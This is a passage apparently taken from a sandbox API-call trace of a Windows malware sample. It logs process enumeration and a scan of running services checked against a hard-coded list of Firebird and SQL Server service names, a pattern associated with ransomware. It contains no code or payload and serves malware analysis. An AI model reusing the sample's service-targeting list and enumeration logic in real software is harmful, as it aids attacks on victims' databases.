th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0118.794] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0118.794] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0118.795] lstrlenW (lpString="SearchUI.exe") returned 12 [0118.795] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0118.796] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0118.796] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.797] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0118.797] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.798] lstrlenW (lpString="taskhostw.exe") returned 13 [0118.798] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0118.799] lstrlenW (lpString="UsoClient.exe") returned 13 [0118.799] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.800] lstrlenW (lpString="taskhostw.exe") returned 13 [0118.800] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0118.800] lstrlenW (lpString="msoia.exe") returned 9 [0118.801] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0118.801] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0118.801] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0118.802] lstrlenW (lpString="msoia.exe") returned 9 [0118.802] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0118.803] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0118.803] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0118.804] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0118.804] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0118.805] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0118.805] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0118.806] lstrlenW (lpString="arc obviously.exe") returned 17 [0118.806] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0118.807] lstrlenW (lpString="scholars.exe") returned 12 [0118.807] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0118.808] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0118.808] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0118.809] lstrlenW (lpString="organizing.exe") returned 14 [0118.809] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0118.810] lstrlenW (lpString="campus.exe") returned 10 [0118.810] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0118.811] lstrlenW (lpString="mug.exe") returned 7 [0118.811] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0118.812] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0118.812] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0118.813] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0118.813] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0118.814] lstrlenW (lpString="powers mixture.exe") returned 18 [0118.814] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0118.815] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0118.815] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0118.816] lstrlenW (lpString="bachelor.exe") returned 12 [0118.816] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0118.817] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0118.817] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0118.818] lstrlenW (lpString="indication wage paying.exe") returned 26 [0118.818] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0118.819] lstrlenW (lpString="thee pub emission.exe") returned 21 [0118.819] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0118.820] lstrlenW (lpString="dllhost.exe") returned 11 [0118.820] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0118.821] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0118.821] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0118.822] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0118.822] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0118.824] lstrlenW (lpString="upgrading.exe") returned 13 [0118.824] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0118.825] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0118.825] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0118.826] lstrlenW (lpString="russell.exe") returned 11 [0118.826] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.827] lstrlenW (lpString="conhost.exe") returned 11 [0118.827] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.828] lstrlenW (lpString="conhost.exe") returned 11 [0118.828] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.829] lstrlenW (lpString="svchost.exe") returned 11 [0118.829] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0118.830] lstrlenW (lpString="1csrss.exe") returned 10 [0118.830] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0118.831] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0118.831] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.832] lstrlenW (lpString="conhost.exe") returned 11 [0118.832] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0118.833] lstrlenW (lpString="cmd.exe") returned 7 [0118.833] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.834] lstrlenW (lpString="conhost.exe") returned 11 [0118.834] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.835] lstrlenW (lpString="svchost.exe") returned 11 [0118.835] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0118.836] lstrlenW (lpString="mode.com") returned 8 [0118.836] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0118.837] CloseHandle (hObject=0x368) returned 1 [0118.837] Sleep (dwMilliseconds=0x1f4) [0119.344] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eee80 [0119.344] EnumServicesStatusExW (in: hSCManager=0x5eee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0119.345] GetLastError () returned 0xea [0119.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x6110e0 [0119.345] EnumServicesStatusExW (in: hSCManager=0x5eee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6110e0, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6110e0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0119.345] CloseServiceHandle (hSCObject=0x5eee80) returned 1 [0119.345] lstrlenW (lpString="Appinfo") returned 7 [0119.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0119.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0119.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0119.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0119.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0119.346] lstrlenW (lpString="AppXSvc") returned 7 [0119.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0119.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0119.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0119.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0119.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0119.346] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0119.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0119.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0119.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0119.346] lstrlenW (lpString="Audiosrv") returned 8 [0119.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0119.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0119.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0119.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0119.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0119.346] lstrlenW (lpString="BFE") returned 3 [0119.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0119.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0119.346] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0119.346] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0119.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0119.346] lstrlenW (lpString="BITS") returned 4 [0119.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0119.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0119.347] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0119.347] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0119.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0119.347] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0119.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0119.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0119.347] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0119.347] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0119.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0119.347] lstrlenW (lpString="CDPSvc") returned 6 [0119.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0119.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0119.347] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0119.347] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0119.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0119.347] lstrlenW (lpString="ClickToRunSvc") returned 13 [0119.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0119.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0119.347] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0119.347] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0119.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0119.347] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0119.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0119.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0119.347] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0119.347] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0119.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0119.347] lstrlenW (lpString="CryptSvc") returned 8 [0119.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0119.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0119.347] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0119.347] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0119.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0119.348] lstrlenW (lpString="DcomLaunch") returned 10 [0119.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.348] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0119.348] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0119.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0119.348] lstrlenW (lpString="DeviceAssociationService") returned 24 [0119.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0119.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0119.348] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0119.348] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0119.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0119.348] lstrlenW (lpString="Dhcp") returned 4 [0119.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0119.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0119.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0119.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0119.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0119.348] lstrlenW (lpString="Dnscache") returned 8 [0119.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0119.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0119.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0119.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0119.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0119.348] lstrlenW (lpString="DoSvc") returned 5 [0119.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0119.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0119.348] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0119.348] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0119.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0119.349] lstrlenW (lpString="DPS") returned 3 [0119.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0119.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0119.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0119.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0119.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0119.349] lstrlenW (lpString="DusmSvc") returned 7 [0119.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0119.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0119.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0119.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0119.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0119.349] lstrlenW (lpString="EventLog") returned 8 [0119.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0119.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0119.349] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0119.349] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0119.349] 